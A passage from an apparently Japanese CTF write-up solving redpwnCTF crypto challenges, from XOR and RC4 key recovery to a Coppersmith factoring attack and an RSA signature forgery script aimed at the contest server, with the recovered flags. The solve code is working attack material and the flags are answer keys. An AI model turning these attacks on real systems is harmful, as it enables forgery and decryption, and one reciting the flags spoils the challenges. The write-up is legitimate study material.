Ciphertext: 0111100011100011100010010110101110110110000111100100100001100011111101101100010001010000101100101110101010000010100010000101111100100110000000011001010011100011101100001000001010010110001100000110110101011111000000110101111111110100011000111110100111010100111001100100000100100011001101100100001001010
Enter an integer i such that i > 0: 256
Enter an integer j such that j > i > 0: 257
Ciphertext: 0100101001011100010000010110110001111001000101110011011101100000000011011110111001110001100010001110101100000111011111000011000000111001001100011010011100100101000111010111000011110100111100100011110000001001101000110010001000100101100111111100001010000010101010111111101101100000001101101101110101111
Enter an integer i such that i > 0: 262
Enter an integer j such that j > i > 0: 263
Ciphertext: 0101100100011100001110010101100100100001010111101110100101001011001000011010110100000000100101001000001111000100011110001001010011111101001101010010100011001100000100110110101011010010100101001001000100000010110000010100000001000111000101100111111001101001001110011100111100011100100011100011111000100
Enter an integer i such that i > 0: 268
Enter an integer j such that j > i > 0: 269
Ciphertext: 0001110000011001001010010011111001111101011100111110011000011111010100110010000101111110010001001111000001101100101101001100111100010110101001100101101011101011110101011001100101000111010010111001111011111101001100001011011100111100001000001101010010111001011111110001110011100100011011100011001100110
Enter an integer i such that i > 0: 270
Enter an integer j such that j > i > 0: 271
Ciphertext: 0101010011110011101100011111000001011011011110110101011011010001111110001111100011001100001011101000010001101010101101010100100001011001101000111000101100001011110110101011010000110010101101010011101001101010001100011101000111101010010011100101111011011100010111000111110100010011010011011010001110101
Enter an integer i such that i > 0: 276
Enter an integer j such that j > i > 0: 277
Ciphertext: 0101011101110101001001011000001111110000110101111110111000011110100001001010110101110110011000100000011101000111100000100100000101111110100110001010001010010001100110001101011001101100100001010011011011001000010111000000100111100110000010000101001100101100001100001100100001110010110010010001110011101
Enter an integer i such that i > 0: 280
Enter an integer j such that j > i > 0: 281
Ciphertext: 0100100011110001001110100101110001010010001100101011001011111101000001000010010000001111101000110100111100110010010010000000101100101100110011001010010101011101001001110110101000011111100101011110011100001010110100110111100111010010111101010100101000110110100111110001100000011110101000111111011100010
Enter an integer i such that i > 0: 282
Enter an integer j such that j > i > 0: 283
Ciphertext: 0111010111111011100101000001110010100001011000101001010110111100001110010111101101010011001100101111001000010110101010011010010100110010101110110000101001001110110110010110110001100010101110000111110000001010101100110101111100111101111111001111110101000000101100001100010101000110100101011001001100000
Enter an integer i such that i > 0: 292
Enter an integer j such that j > i > 0: 293
Ciphertext: 0111101100111111100101011000000011111001101101100011110000101101001100010000011001001010011101101000011111000111101101111101110101011101111110110010001000011110000011111101100110000111011001010101111011011011100111100100010000111111110100000010100011001110110101011000111110100110110101011000010000001
flag{bits_leaking_out_down_the_water_spout}
flag{bits_leaking_out_down_the_water_spout}

alien-transmissions-v2 (crypto)

いろいろ試した結果、平文はprintableとは限らなく、意味のある文字列にもならないようだ。
以下の条件のみを使って、鍵を見つける必要がある。

・This alien language consists of words delimitated by the character represented as 481
・The two keys appear to be of length 21 and 19
・The value of each character in these keys does not exceed 255

この条件から、鍵は21の長さのものと19のものがあるため、19と21の最小公倍数が周期になる。また、481が区切り文字になっているとのことで、頻度が高く出現すると推測する。試しにindex: 0 から19*21ごとのコードの頻度を調べる。

with open('encrypted.txt', 'r') as f:
    ct = [int(code.rstrip()) for code in f.readlines()]

index = 0

codes = {}
for i in range(index, len(ct), 19 * 21):
    c = ct[i]
    if c in codes:
        codes[c] += 1
    else:
        codes[c] = 1

for c in codes:
    if codes[c] > 10:
        print c, codes[c]

10個より多く出現するコードと出現数は以下の通り。

[index: 0]
31 11
74 12
78 12
91 11
267 11
470 250
485 11

index:1, 2も同様に調べると、以下のようになった。

[index: 1]
182 12
331 11
422 246

[index: 2]
26 12
27 15
57 12
401 11
501 11
507 244

1つだけ群を抜いて多いものがあるので、考え方は合っていそう。この多いコードを481とXORしたものが鍵2つの該当するインデックス同士のXORになるはず。key1[0]が決まると、他も決まる。

                11111111112222222222333333333344444444445555555555
      012345678901234567890123456789012345678901234567890123456789
key1  abcdefghijklmnopqrstuabcdefghijklmnopqrstuabcdefghijklmnopqr
key2  ABCDEFGHIJKLMNOPQRSABCDEFGHIJKLMNOPQRSABCDEFGHIJKLMNOPQRSABC

例)
key1[0] = 'f'
key2[0%19] = key1[0] ^ X[0]
key2[21%19] = key1[0] ^ X[21]
     :
def is_printable(s):
    for c in s:
        if ord(c) < 32 or ord(c) > 126:
            return False
    return True

def get_max_count_code(ct, index):
    codes = {}
    for i in range(index, len(ct), 19 * 21):
        if ct[i] in codes:
            codes[ct[i]] += 1
        else:
            codes[ct[i]] = 1
    max_count_code = max(codes, key=codes.get)
    return max_count_code

with open('encrypted.txt', 'r') as f:
    ct = [int(code.rstrip()) for code in f.readlines()]

len_key1 = 21
len_key2 = 19

xor_key = []
for i in range(len_key1 * len_key2):
    xor_key.append(get_max_count_code(ct, i) ^ 481)

for code in range(32, 127):
    key1_0 = chr(code)
    key2_0 = chr(code ^ xor_key[0])

    key1 = [''] * len_key1
    for i in range(len_key1):
        index = (i * len_key2) % len_key1
        key1[index] = chr(ord(key2_0) ^ xor_key[i * len_key2])
    key1 = ''.join(key1)

    key2 = [''] * len_key2
    for i in range(len_key2):
        index = (i * len_key1) % len_key2
        key2[index] = chr(ord(key1_0) ^ xor_key[i * len_key1])
    key2 = ''.join(key2)

    key = key1 + key2

    if is_printable(key):
        print '[+] key1:', key1
        print '[+] key2:', key2
        print '[+] key :', key

実行結果は以下の通り。

[+] key1: `;z;/=W|`;Wn9z=|W`<dn
[+] key2: W|`;W=;k8flW9=W|`9=
[+] key : `;z;/=W|`;Wn9z=|W`<dnW|`;W=;k8flW9=W|`9=
[+] key1: a:{:.<V}a:Vo8{<}Va=eo
[+] key2: V}a:V<:j9gmV8<V}a8<
[+] key : a:{:.<V}a:Vo8{<}Va=eoV}a:V<:j9gmV8<V}a8<
[+] key1: b9x9-?U~b9Ul;x?~Ub>fl
[+] key2: U~b9U?9i:dnU;?U~b;?
[+] key : b9x9-?U~b9Ul;x?~Ub>flU~b9U?9i:dnU;?U~b;?
[+] key1: d?~?+9Sxd?Sj=~9xSd8`j
[+] key2: Sxd?S9?o<bhS=9Sxd=9
[+] key : d?~?+9Sxd?Sj=~9xSd8`jSxd?S9?o<bhS=9Sxd=9
[+] key1: f=|=);Qzf=Qh?|;zQf:bh
[+] key2: Qzf=Q;=m>`jQ?;Qzf?;
[+] key : f=|=);Qzf=Qh?|;zQf:bhQzf=Q;=m>`jQ?;Qzf?;
[+] key1: g<}<(:P{g<Pi>}:{Pg;ci
[+] key2: P{g<P:<l?akP>:P{g>:
[+] key : g<}<(:P{g<Pi>}:{Pg;ciP{g<P:<l?akP>:P{g>:
[+] key1: h3r3'5_th3_f1r5t_h4lf
[+] key2: _th3_53c0nd_15_th15
[+] key : h3r3'5_th3_f1r5t_h4lf_th3_53c0nd_15_th15
[+] key1: i2s2&4^ui2^g0s4u^i5mg
[+] key2: ^ui2^42b1oe^04^ui04
[+] key : i2s2&4^ui2^g0s4u^i5mg^ui2^42b1oe^04^ui04
[+] key1: j1p1%7]vj1]d3p7v]j6nd
[+] key2: ]vj1]71a2lf]37]vj37
[+] key : j1p1%7]vj1]d3p7v]j6nd]vj1]71a2lf]37]vj37
[+] key1: k0q0$6\wk0\e2q6w\k7oe
[+] key2: \wk0\60`3mg\26\wk26
[+] key : k0q0$6\wk0\e2q6w\k7oe\wk0\60`3mg\26\wk26
[+] key1: l7v7#1[pl7[b5v1p[l0hb
[+] key2: [pl7[17g4j`[51[pl51
[+] key : l7v7#1[pl7[b5v1p[l0hb[pl7[17g4j`[51[pl51
[+] key1: m6w6"0Zqm6Zc4w0qZm1ic
[+] key2: Zqm6Z06f5kaZ40Zqm40
[+] key : m6w6"0Zqm6Zc4w0qZm1icZqm6Z06f5kaZ40Zqm40
[+] key1: n5t5!3Yrn5Y`7t3rYn2j`
[+] key2: Yrn5Y35e6hbY73Yrn73
[+] key : n5t5!3Yrn5Y`7t3rYn2j`Yrn5Y35e6hbY73Yrn73
[+] key1: o4u4 2Xso4Xa6u2sXo3ka
[+] key2: Xso4X24d7icX62Xso62
[+] key : o4u4 2Xso4Xa6u2sXo3kaXso4X24d7icX62Xso62
[+] key1: p+j+?-Glp+G~)j-lGp,t~
[+] key2: Glp+G-+{(v|G)-Glp)-
[+] key : p+j+?-Glp+G~)j-lGp,t~Glp+G-+{(v|G)-Glp)-
[+] key1: r)h)=/Enr)E|+h/nEr.v|
[+] key2: Enr)E/)y*t~E+/Enr+/
[+] key : r)h)=/Enr)E|+h/nEr.v|Enr)E/)y*t~E+/Enr+/
[+] key1: u.o.:(Biu.B{,o(iBu)q{
[+] key2: Biu.B(.~-syB,(Biu,(
[+] key : u.o.:(Biu.B{,o(iBu)q{Biu.B(.~-syB,(Biu,(
[+] key1: v-l-9+Ajv-Ax/l+jAv*rx
[+] key2: Ajv-A+-}.pzA/+Ajv/+
[+] key : v-l-9+Ajv-Ax/l+jAv*rxAjv-A+-}.pzA/+Ajv/+
[+] key1: w,m,8*@kw,@y.m*k@w+sy
[+] key2: @kw,@*,|/q{@.*@kw.*
[+] key : w,m,8*@kw,@y.m*k@w+sy@kw,@*,|/q{@.*@kw.*
[+] key1: x#b#7%Odx#Ov!b%dOx$|v
[+] key2: Odx#O%#s ~tO!%Odx!%
[+] key : x#b#7%Odx#Ov!b%dOx$|vOdx#O%#s ~tO!%Odx!%
[+] key1: z!`!5'Mfz!Mt#`'fMz&~t
[+] key2: Mfz!M'!q"|vM#'Mfz#'
[+] key : z!`!5'Mfz!Mt#`'fMz&~tMfz!M'!q"|vM#'Mfz#'
[+] key1: |'f'3!K`|'Kr%f!`K| xr
[+] key2: K`|'K!'w$zpK%!K`|%!
[+] key : |'f'3!K`|'Kr%f!`K| xrK`|'K!'w$zpK%!K`|%!
[+] key1: }&g&2 Ja}&Js$g aJ}!ys
[+] key2: Ja}&J &v%{qJ$ Ja}$
[+] key : }&g&2 Ja}&Js$g aJ}!ysJa}&J &v%{qJ$ Ja}$
[+] key1: ~%d%1#Ib~%Ip'd#bI~"zp
[+] key2: Ib~%I#%u&xrI'#Ib~'#
[+] key : ~%d%1#Ib~%Ip'd#bI~"zpIb~%I#%u&xrI'#Ib~'#

この候補の中からフラグになりそうな文字列を選択する。

flag{h3r3'5_th3_f1r5t_h4lf_th3_53c0nd_15_th15}

worst-pw-manager (crypto)

暗号処理の概要は以下の通り。

・passwords: passwords.txtの一覧
・passwordsの各パスワードについて以下の処理を実施
 ・masked_file_name:
  c: 各文字のASCIIコード
  小文字以外:chr((c - ord('0') + i) % 10 + ord('0'))
  小文字  :chr((c - ord('a') + i) % 26 + ord('a'))
  上記を結合
  ⇒passwords/[index]_{結合].enc

Keyの作り方がよくなく、8バイトの鍵を作成しているように見えて、8バイトの最後の文字を8バイト分使っている。このため、ブルートフォースが可能。フラグ文字列の長さでどうループるするかわからないので、全ファイルについて、鍵を求めてみる。

import os
import string

class KeyByteHolder(): # im paid by LoC, excuse the enterprise level code
    def __init__(self, num):
        assert num >= 0 and num < 256
        self.num = num

    def __repr__(self):
        return hex(self.num)[2:]

def rc4(text, key): # definitely not stolen from stackoverflow
    S = [i for i in range(256)]
    j = 0
    out = bytearray()

    #KSA Phase
    for i in range(256):
        j = (j + S[i] + key[i % len(key)].num) % 256
        S[i] , S[j] = S[j] , S[i]

    #PRGA Phase
    i = j = 0
    for char in text:
        i = ( i + 1 ) % 256
        j = ( j + S[i] ) % 256
        S[i] , S[j] = S[j] , S[i]
        out.append(ord(char) ^ S[(S[i] + S[j]) % 256])

    return out

def get_password(s):
    password = ''
    for i in range(len(s)):
        if s[i] not in string.ascii_lowercase:
             password += chr((ord(s[i]) - ord('0') - i) % 10 + ord('0'))
        else:
             password += chr((ord(s[i]) - ord('a') - i) % 26 + ord('a'))
    return password

def get_key(fname, password):
    with open(DIR + fname, 'rb') as f:
        enc = f.read()
    for k in range(256):
        key = [KeyByteHolder(k)] * 8
        try_enc = rc4(password, key)
        if try_enc == enc:
            return chr(k)
    return ''

DIR = 'passwords/'

files = os.listdir(DIR)
keys = {}
for file in files:
    index = int(file.split('_')[0])
    fname = file.split('_')[1].split('.')[0]
    password = get_password(fname)
    key = get_key(file, password)
    keys[index] = key

for k, v in sorted(keys.items()):
    print k, v

実行結果は以下の通り。

0 y
1 s
2 n
3 n
10 l
11 t
12 u
13 _
14 i
15 d
16 r
17 _
18 a
19 o
20 u
21 g
22 _
23 i
24 y
25 _
26 f
27 p
28 t
29 d
30 _
31 i
32 c
33 s
34 _
35 h
36 t
37 a
38 o
39 p
100 i
101 d
102 r
103 _
104 a
105 o
106 u
107 g
108 _
109 i
110 y
111 _
112 f
113 p
114 t
115 d
116 _
117 i
118 c
119 s
120 _
121 h
122 t
123 a
124 o
125 p
126 p
127 s
128 }
129 y
130 s
131 n
132 n
133 p
134 {
135 i
136 d
137 t
138 s
139 l
140 t
141 u
142 _
143 i
144 d
145 r
146 _
147 a
148 o
149 u
150 g
151 _
152 i
153 y
154 _
155 f
156 p
157 t
158 d
159 _
160 i
161 c
162 s
163 _
164 h
165 t
166 a
167 o
168 p
169 p
170 s
171 }
172 y
173 s
174 n
175 n
176 p
177 {
178 i
179 d
180 t
181 s
182 l
183 t
184 u
185 _
186 i
187 d
188 r
189 _
190 a
191 o
192 u
193 g
194 _
195 i
196 y
197 _
198 f
199 p
200 t
201 d
202 _
203 i
204 c
205 s
206 _
207 h
208 t
209 a
210 o
211 p
212 p
213 s
214 }
215 y
216 s
217 n
218 n
219 p
220 {
221 i
222 d
223 t
224 s
225 l
226 t
227 u
228 _
229 i
230 d
231 r
232 _
233 a
234 o
235 u
236 g
237 _
238 i
239 y
240 _
241 f
242 p
243 t
244 d
245 _
246 i
247 c
248 s
249 _
250 h
251 t
252 a
253 o
254 p
255 p
256 s
257 }
258 y
259 s
260 n
261 n
262 p
263 {
264 i
265 d
266 t
267 s
268 l
269 t
270 u
271 _
272 i
273 d
274 r
275 _
276 a
277 o
278 u
279 g
280 _
281 i
282 y
283 _
284 f
285 p
286 t
287 d
288 _
289 i
290 c
291 s
292 _
293 h
294 t
295 a
296 o
297 p
298 p
299 s
300 }
301 y
302 s
303 n
304 n
305 p
306 {
307 i
308 d
309 t
310 s
311 l
312 t
313 u
314 _
315 i
316 d
317 r
318 _
319 a
320 o
321 u
322 g
323 _
324 i
325 y
326 _
327 f
328 p
329 t
330 d
331 _
332 i
333 c
334 s
335 _
336 h
337 t
338 a
339 o
340 p
341 p
342 s
343 }
344 y
345 s
346 n
347 n
348 p
349 {
350 i
351 d
352 t
353 s
354 l
355 t
356 u
357 _
358 i
359 d
360 r
361 _
362 a
363 o
364 u
365 g
366 _
367 i
368 y
369 _
370 f
371 p
372 t
373 d
374 _
375 i
376 c
377 s
378 _
379 h
380 t
381 a
382 o
383 p
384 p
385 s
386 }
387 y
388 s
389 n
390 n
391 p
392 {
393 i
394 d
395 t
396 s
397 l
398 t
399 u
400 _
401 i
402 d
403 r
404 _
405 a
406 o
407 u
408 g

{のインデックスを見てみると、以下になっていることがわかる。

134, 177, 220, 263, 306, 349, 392

さらに以下のようになっている。

flagのインデックス = (index * 8 + 7) % len(flag)

43ごとに登場するので、フラグの長さは43である。これを踏まえ、フラグを構成する。

import os
import string

class KeyByteHolder(): # im paid by LoC, excuse the enterprise level code
    def __init__(self, num):
        assert num >= 0 and num < 256
        self.num = num

    def __repr__(self):
        return hex(self.num)[2:]

def rc4(text, key): # definitely not stolen from stackoverflow
    S = [i for i in range(256)]
    j = 0
    out = bytearray()

    #KSA Phase
    for i in range(256):
        j = (j + S[i] + key[i % len(key)].num) % 256
        S[i] , S[j] = S[j] , S[i]

    #PRGA Phase
    i = j = 0
    for char in text:
        i = ( i + 1 ) % 256
        j = ( j + S[i] ) % 256
        S[i] , S[j] = S[j] , S[i]
        out.append(ord(char) ^ S[(S[i] + S[j]) % 256])

    return out

def get_password(s):
    password = ''
    for i in range(len(s)):
        if s[i] not in string.ascii_lowercase:
             password += chr((ord(s[i]) - ord('0') - i) % 10 + ord('0'))
        else:
             password += chr((ord(s[i]) - ord('a') - i) % 26 + ord('a'))
    return password

def get_key(fname, password):
    with open(DIR + fname, 'rb') as f:
        enc = f.read()
    for k in range(256):
        key = [KeyByteHolder(k)] * 8
        try_enc = rc4(password, key)
        if try_enc == enc:
            return chr(k)
    return ''

DIR = 'passwords/'

files = os.listdir(DIR)
keys = {}
for file in files:
    index = int(file.split('_')[0])
    fname = file.split('_')[1].split('.')[0]
    password = get_password(fname)
    key = get_key(file, password)
    keys[index] = key

flag = [''] * 43
for k, v in sorted(keys.items()):
    index = (k * 8 + 7) % 43
    flag[index] = v

flag = ''.join(flag)
print flag
flag{crypto_is_stupid_and_python_is_stupid}

seekrypt (crypto)

暗号化の処理概要は以下の通り。

■gen()
・alpha, beta: 1024bit素数
・mod = alpha * beta
・x: 1~modのランダム整数
・y = alpha^(bytes_to_long(flag[len(flag)//2:])<<0x1f0)
・以下の条件を満たす。
 pow(beta**2*x,(alpha-1)//2,alpha) + pow(alpha**2*x,(beta-1)//2,beta) == alpha+beta-2
・(x,y), modを返却

■encrypt()
・m: flagの前半の2進数
 x, a = x, y
・mの各bitについて、以下の処理を行う。
 ・y: 1~kのランダム整数
 ・以下の条件を満たす。
  GCD(y, k) == 1
 ・c.append((x**int(b)*y**2)%k)
  b: 0 ⇒ (y**2) % k
  b: 1 ⇒ (x * y**2) % k
・cを返却

cの配列、gen()のy、modを出力

alphaとyの関係は以下のようになる。

y: aaaa....aaaaxxxx....xxxxaaaa....aaaa
   [  128bit  ][  400bit  ][ 0x1f0bit ]

alphaの上128bitと下0x1f0bitはyと同じ。modはわかっているため、Coppersmithの定理でalpha、betaを求めることができる。

pow((beta**2)*x, (alpha-1)//2, alpha) + pow((alpha**2)*x, (beta-1)//2, beta) == alpha + beta - 2
    ↓
pow((beta**2)*x, (alpha-1)//2, alpha) = alpha - 1
pow((alpha**2)*x, (beta-1)//2, beta) = beta - 1
    ↓
(pow(beta**2, (alpha-1)//2, alpha) * pow(x, (alpha-1)//2, alpha)) % alpha = alpha - 1
(pow(alpha**2, (beta-1)//2, beta) * pow(x, (beta-1)//2, beta)) % beta = beta - 1
    ↓
pow(x, (alpha-1)//2, alpha) = ((alpha - 1) * inverse(pow(beta**2, (alpha-1)//2, alpha), alpha)) % alpha
pow(x, (beta-1)//2, beta) = ((beta - 1) * inverse(pow(alpha**2, (beta-1)//2, beta), beta)) % beta

alphaとbetaは素数なので、RSA暗号の復号の仕方でx % alpha, x % betaの値を求めることが可能。あとは中国の剰余定理でxを求めることができる。
encryptの方は、c[i]を各ビットの暗号とすると、以下の判定で0か1かを割り出すことができる。

・pow(c[i], (alpha - 1) // 2, alpha) == alpha -1 → 1
・pow(c[i], (alpha - 1) // 2, alpha) == 1 → 0
※alphaでなく、betaでもよい。
#!/usr/bin/env sage
from Crypto.Util.number import *
import functools

def chinese_remainder(n, a):
    sum = 0
    prod = functools.reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod

def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def get_bit(c, p):
    if int(pow(c, (p - 1) // 2, p)) == 1:
        return '0'
    else:
        return '1'

with open('output', 'r') as f:
    data = f.read().rstrip()

encrypted = eval(data.split(']')[0] + ']')
y = int(data.split(' ')[-2])
mod = int(data.split(' ')[-1])

abits = 1024
kbits1 = 128
kbits2 = 0x1f0

a0 = y & ((2^abits - 1) - (2^(abits - kbits1) - 1) + (2^kbits2 - 1))

PR.<x> = PolynomialRing(Zmod(mod))
f = 2^kbits2*x + a0
f = f.monic()

x0 = f.small_roots(X=2^(abits-kbits1-kbits2), beta=0.3)[0]
alpha = int(2^kbits2 * x0 + a0)
beta = mod // alpha
assert alpha * beta == mod

print '[+] alpha =', alpha
print '[+] beta  =', beta

flag2 = long_to_bytes((y ^^ alpha)>>0x1f0)
print '[+] flag2 =', flag2

phi = alpha - 1
A = int(pow(beta^2, (alpha - 1) // 2, alpha))
c = ((alpha - 1) * inverse(A, alpha)) % alpha
d = inverse((alpha - 1) // 2, phi)
x1 = int(pow(c, d, alpha))

phi = beta - 1
B = int(pow(alpha^2, (beta - 1) // 2, beta))
c = ((beta - 1) * inverse(B, beta)) % beta
d = inverse((beta - 1) // 2, phi)
x2 = int(pow(c, d, beta))

x = chinese_remainder([alpha, beta], [x1, x2])

bin_flag = '0'
for c in encrypted:
    bin_flag += get_bit(c, alpha)

flag1 = ''
for i in range(0, len(bin_flag), 8):
    flag1 += chr(int(bin_flag[i:i+8], 2))
print '[+] flag1 =', flag1

flag = flag1 + flag2
print '[!] flag =', flag

実行結果は以下の通り。

[+] alpha = 136437248584749771882310599149278388531535057166399265926387706469408766646754256272579824337507311270141846388413460068357591608585943215991636909883491826121544218636098300792976192313647146944748229438407801334865956608317244973051161890353895660399085055691697783021603089766899505767068206163163800347041
[+] beta  = 111465177805937770092447538469179445774366193827194740607135429566055472211468222381549404082890700206235027215272837920897816155607239237735456964466540345357023816176790307723190964931868944349012990770951977325326303518466212160620425490277981375362357314987300481362988133278120883358082360890689404217367
[+] flag2 = r3ts.....th3_fl4g_1ts3lf!!!!}
[+] flag1 = flag{y0u_f0und_m0re_th4n_s3c
[!] flag = flag{y0u_f0und_m0re_th4n_s3cr3ts.....th3_fl4g_1ts3lf!!!!}
flag{y0u_f0und_m0re_th4n_s3cr3ts.....th3_fl4g_1ts3lf!!!!}

ratification (crypto)

$ nc 2020.redpwnc.tf 31752
107077696267508129416175585963108422803463901358416542220944291963416818941164057377524278964572559510466566832891858203815902423475841414131914044575494257478490098662998784378647808956512371334406416587258923155401309634308046892117356683094976105481647263616346379311825857354314994113076534677933152952029

[1] Sign
[2] Verify
[3] Exit
1
Message: abcdefgh
4317209832999496269930676428010987925036451302344516666719893836724091562912752811969515522526275829075211015320168100805560016665826392659236144113329530741356138646197538246769827743983264745514640609231575381504240047051322250720510052676986165357464930869844787991484640238903342378801671555981006022407247710759060322443710269617148716354569798623148214519206583565919408342715247875934926504551741225536964012607663827514138005332761072495563820321919497380243941613814149924674878938338721837687076419678573780774729875739700622074607435494608607229301133683192030307384880420476045405129098639547359274760049 1445950663427396821660083035453051200028705681115648038303477382928268067472349842204582247459620393954241771526556214397547741851639280443863333114927295578079432565752908733549765360637421841102395349387009340406978651247494667862083939685607817300954481739955578931927543296090586752769733890247770956821439186382002746322468211701782389786770624548874898961793376112701070037762305420086360490078056839530888819068231283516596154905691170065421018287826546633311648909655475440645590502588711480811605808728102311295768109615441971114606243889742570722862496787138318845458688715627209297045162001266111610850209
8941915950037096606539592476544880377840131080244735613623712307828602758771909598786591379886333031504366196952470317131235860111744800380090464489403867840891929106258087389722104016811673204035008607666897176311580981080434723973891267300210754567443872393128157963497656022970232995415032196216153785700359770450789095233410624365717203933709115711213105649428630962961001027012251824539272678528973361349861713486940063638404720115862853116880374950229009289566381311632845574670561647082135829834112535966506203655723321888168042328044056351181956417760368782743712200515757755398541889381103809444775406392347
Signed!

[1] Sign
[2] Verify
[3] Exit
2
Message: abcdefgh
Signature: 8941915950037096606539592476544880377840131080244735613623712307828602758771909598786591379886333031504366196952470317131235860111744800380090464489403867840891929106258087389722104016811673204035008607666897176311580981080434723973891267300210754567443872393128157963497656022970232995415032196216153785700359770450789095233410624365717203933709115711213105649428630962961001027012251824539272678528973361349861713486940063638404720115862853116880374950229009289566381311632845574670561647082135829834112535966506203655723321888168042328044056351181956417760368782743712200515757755398541889381103809444775406392347
Verified!

[1] Sign
[2] Verify
[3] Exit

サーバの処理概要は以下の通り。

・p: 1024bit素数
・q: 1024bit素数
・n: p*q
・e: 65537

・p表示

■1: Sign
・msg: メッセージ入力⇒数値化
 messageと同じものは指定できない。
・n1: 29個の0-11のランダム整数値の配列
・n2: 29個の0-(2**(max(p/qのbit長)-11)-1)のランダム整数値の配列
・a: n1[i]*n2[i]の合計値(i: 0-28)

・enc: pow(msg, n2[i], n)の配列
・P: pow(enc[i], n1[i], p)の積
・Q: pow(enc[i], n1[i], q)の積

・b = inverse(e,(p-1)*(q-1))-a
・sig1 = b%(p-1)+[0~q-2ランダム整数]*(p-1)
・sig2 = b%(q-1)+[0~p-2ランダム整数]*(q-1)
・sig1, sig2表示

・sp = pow(msg,sig1,n)*P%p
・sq = pow(msg,sig2,n)*Q%q
・s = (q*inverse(q,p)*sp + p*inverse(p,q)*sq) % n
 →Signatureとして表示

■2: Verify
・msg: メッセージ入力⇒数値化
・sig: Signature入力(数値)
・pow(sig,e,n) == msgでチェックを行う。
・msgがmessageである場合、フラグが表示される。

Signで以下が言える。
・P = [pow(msg, n1[i]*n2[i], p) for i in range(29)]の要素の積
 → P = pow(msg, a, p)
・Q = [pow(msg, n1[i]*n2[i], q) for i in range(29)]の要素の積
 → Q = pow(msg, a, q)
・sp = pow(msg, sig1, n) * pow(msg, a, p) % p
     = pow(msg, sig1 + a, p)
・sq = pow(msg, sig2, n) * pow(msg, a, q) % q
     = pow(msg, sig2 + a, q)

s % p = sp
→ pow(msg, a, p) = (s % p) * inverse(pow(msg, sig1, p), p)
s % q = sq
→ pow(msg, a, q) = (s % q) * inverse(pow(msg, sig2, q), q)

...とここまで考えて、詰まってしまっていたが、sig1, sig2の値は使わず、\x02, \x04, \x10の場合のsigからnを算出する。あとはpがわかっているので、qがわかり、署名(=復号)に必要な情報がそろうので、目的のメッセージのSignatureを算出できる。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

e = 65537
message = bytes_to_long('redpwnCTF is a cybersecurity competition hosted by the redpwn CTF team.')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('2020.redpwnc.tf', 31752))

data = recvuntil(s, 'Exit\n').rstrip()
print data

p = int(data.split('\n')[0])

#### calculate n, q ####
try_rsa_sig = []
for c in [2, 4, 16]:
    print '1'
    s.sendall('1\n')
    data = recvuntil(s, ': ')
    print data + chr(c)
    s.sendall(chr(c) + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    data = recvuntil(s, '\n').rstrip()
    print data
    sig = int(data)
    try_rsa_sig.append(sig)
    data = recvuntil(s, 'Exit\n').rstrip()
    print data

diff1 = (try_rsa_sig[0]) ** 2 - try_rsa_sig[1]
diff2 = (try_rsa_sig[1]) ** 2 - try_rsa_sig[2]

n = GCD(diff1, diff2)
for i in range(100, 1, -1):
    if n % i == 0:
        n = n / i

assert n % p == 0
q = n // p

#### signing ####
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
sig = str(pow(message, d, n))

#### verify ####
print '2'
s.sendall('2\n')
data = recvuntil(s, ': ')
print data + long_to_bytes(message)
s.sendall(long_to_bytes(message) + '\n')
data = recvuntil(s, ': ')
print data + sig
s.sendall(sig + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

96632838554935267465023013449939167781571527340246441232587635416380685567856532206904444623615438810981777270598625763994108860362972217997828906733802442444092675741385397370855315552376601210544570668873398069407674549054039329327690668023711488128859052256881956138074848316784784838581018449365569013857

[1] Sign
[2] Verify
[3] Exit
1
Message: 
1543614857601641396621680529863184519735299074516654321453486486538502658878055644199360036067858037396308120005545113832764001986989643149384738092565269727575601538708267442096849174036499151090416000115778337003806946622913422745557209618241263175348200079654635663295075689154870712644118607993999934885951281670269812377093721751493990112692423126768779721348910822089407265637695261235726930435465217930476102772232215267783027001791803151068119912112582286869987353529156158220837195097016920349338120473269955961080574899418271801504516488435498494910157633583956302724837255663872129426865428860469176756821 4178041875918812178570678986411539481080823150893547053732111658228099563026664443932239383007607691817860595934427474376072238173974493948741894797373458650250263534438043661711384169097442788089119201310584872883498625983802721488028999208384019215001104222809750791004888552200808067704470785784898076343420488600966943327688456234468912533989736101995096936829734646802323702747979511278247360495665942040398870855636601746510568394177739390478129040338514524112266480480137249583802602465866289348354929435157077313760941800455366390821028182011487297677980300469453026811508418682246267779446975472057687630409
10198430841746618751917070406214674493789694585116304143473055701643909462887081422518110820301425785935574268567346428236570151516332479434557785924427351553002826622789631215328506021755793841556119687767934061790160246228050861925803862282275947677207606035196857619940380940046419715415998280002068788605909612764464952476774135750375335023919123610663795019118614586542869472790734107491664561168311948295440338878489216804484828541384833610066852637625544109001852771869585016904786236660175092858185271144632196840451153860009656908253884920484043416191123071532297351607822991446427224795973724161845464615206
Signed!

[1] Sign
[2] Verify
[3] Exit
1
Message: 
6660241895074592597209729594612450405564494719041974713186165851564110373995928472489991083256501688841262940484868548588928097872059039770340971383065159387656457405364742367110547001293160251014423025866044792007133579621589054523327349336866115021444057184931843119308485620454349346048596321457666219612932601600667121080067113707931724862520667308767754243105823134735738549667855477296484981314870709755938073952090063600677143988413784671364509767091588135098222925039459574533842806314025636480700009818413470662769778956765124643438919615423832091256241722852823714670463298546143334287000508475491934303737 9047004317267492738907050403532691261284390028814555531692992335633773143042066671965842401934034404910785663240917488615569303931989144087128568104950501615842481699757104961146850305154662485335829123979766040774225968729983724116218224915675780149676312901131900424052934369372032160269853830589455329760738671802022845478706281375707800521237838815039596615261113857756111857137266949718831637382976799387854653892371972412929865099673492664401918550211376012809558530960939970349376720875799516153734434864835452272991497361577691625113955721507286739300128002392320309990978092823772528546395523524414429406153
